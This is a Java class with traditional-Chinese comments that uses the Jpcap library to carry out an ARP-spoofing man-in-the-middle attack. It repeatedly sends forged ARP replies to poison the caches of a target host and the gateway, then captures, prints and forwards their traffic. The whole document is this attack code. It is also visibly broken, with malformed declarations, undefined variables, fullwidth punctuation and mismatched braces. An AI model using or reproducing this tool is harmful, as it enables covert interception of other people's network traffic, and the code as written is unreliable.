public class changeARP{
　private NetworkInterface[] devices; //設備列表
　private NetworkInterface device; //要使用的設備
　private JpcapCaptor jpcap; //與設備的連接
　private JpcapSender sender; //用于發送的實例
　private byte[] targetMAC, gateMAC; //B的MAC地址，網關的MAC地址
　private byte[] String targetIp, String gateIp; //B的IP地址，網關的IP地址
　/**
　*初始化設備
　* JpcapCaptor.getDeviceList()得到設備可能會有兩個，其中一個必定是“Generic
　*dialup adapter”，這是windows系統的虛擬網卡，并非真正的硬件設備。

　*注重：在這里有一個小小的BUG，假如JpcapCaptor.getDeviceList()之前有類似JFrame jf=new
　*JFame（）這類的語句會影響得到設備個數，只會得到真正的硬件設備，而不會出現虛擬網卡。
　*虛擬網卡只有MAC地址而沒有IP地址，而且假如出現虛擬網卡，那么實際網卡的MAC將分
　*配給虛擬網卡，也就是說在程序中調用device. mac_address時得到的是00 00 00 00 00 00。

　*/

　private NetworkInterface getDevice() throws IOException {
　　devices = JpcapCaptor.getDeviceList(); //獲得設備列表
　　device = devices[0];//只有一個設備
　　jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打開與設備的連接
　　jpcap.setFilter(“ip”,true); //只監聽B的IP數據包
　　sender = captor.getJpcapSenderInstance();
　}
　/**
　*修改B和網關的ARP表。因為網關會定時發數據包刷新自己和B的緩存表，所以必須每隔一
　*段時間就發一次包重新更改B和網關的ARP表。
　*@參數 targetMAC B的MAC地址，可通過ARP解析得到；
　*@參數 targetIp B的IP地址；
　*@參數 gateMAC 網關的MAC地址；
　*/

　public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
　throws UnknownHostException,InterruptedException {
　　this. targetMAC = targetMAC;
　　this. targetIp = targetIp;
　　this. gateMAC = gateMAC;
　　this. gateIp = gateIp;
　　getDevice();
　　arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
　　arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //選擇以太網類型(Ethernet)
　　arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //選擇IP網絡協議類型
　　arpTarget.Operation = ARPPacket.ARP_REPLY; //選擇REPLY類型
　　arpTarget.hlen = 6; //MAC地址長度固定6個字節
　　arpTarget.plen = 4; //IP地址長度固定4個字節
　　arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
　　arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //網關IP

　　arpTarget.target_hardaddr = targetMAC; //B的MAC地址
　　arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP

　　EthernetPacket ethToTarget = new EthernetPacket(); //創建一個以太網頭
　　ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//選擇以太包類型
　　ethToTarget.src_mac = device.mac_address; //A的MAC地址
　　ethToTarget.dst_mac = targetMAC; //B的MAC地址
　　arpTarget.datalink = ethToTarget; //將以太頭添加到ARP包前
　　arpGate = new ARPPacket(); //修改網關ARP表的包
　　arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似，不再重復注析
　　arpGate.prototype = ARPPacket.PROTOTYPE_IP;
　　arpGate.operation = ARPPacket.ARP_REPLY;
　　arpGate.hlen = 6;
　　arpGate.plen = 4;
　　arpGate.sender_hardaddr = device.mac_address;
　　arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
　　arpGate.target_hardaddr = gateMAC;
　　arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
　　EthernetPacket ethToGate = new EthernetPacket();
　　ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
　　ethToGate.src_mac = device.mac_address;
　　ethToGate.dst_mac = gateMAC;
　　arpGate.datalink = ethToGate;
　　thread=new Thread(new Runnable(){ //創建一個進程控制發包速度
　　public void run() {
　　　while (true) {
　　　　sender.sendPacket(arpTarget);
　　　　sender.sendPacket(arpGate);
　　　　Thread.sleep(500);
　　　}).start();
　　　recP(); //接收數據包并轉發
　　}
　　/**
　　*修改包的以太頭，轉發數據包
　　*參數 packet 收到的數據包
　　*參數 changeMAC 要轉發出去的目標
　　*/
　　private void send(Packet packet, byte[] changeMAC) {
　　　EthernetPacket eth;
　　　if (packet.datalink instanceof EthernetPacket) {
　　　　eth = (EthernetPacket) packet.datalink;
　　　　for (int i = 0; i < 6; i++) {
　　　　　eth.dst_mac[i] = changeMAC[i]; //修改包以太頭，改變包的目標
　　　　　eth.src_mac[i] = device.mac_address[i]; //源發送者為A
　　　　}
　　　　sender.sendPacket(packet);
　　　}
　　}
　　/**
　　*打印接受到的數據包并轉發
　　*/
　　public void recP(){
　　　IPPacket ipPacket = null;
　　　while(true){
　　　　ipPacket = （IPPacket）jpcap.getPacket();
　　　　System.out.println(ipPacket);
　　　　if (ipPacket.src_ip.getHostAddress().equals(targetIp))
　　　　　send(packet, gateMAC);
　　　　else
　　　　　send(packet, targetMAC);
　　　}
　　}
　　注重：這個例子只是為了說明問題，并沒有考慮到程序的健壯性，所以并不一定能在任何一臺機器任何一個系統上運行。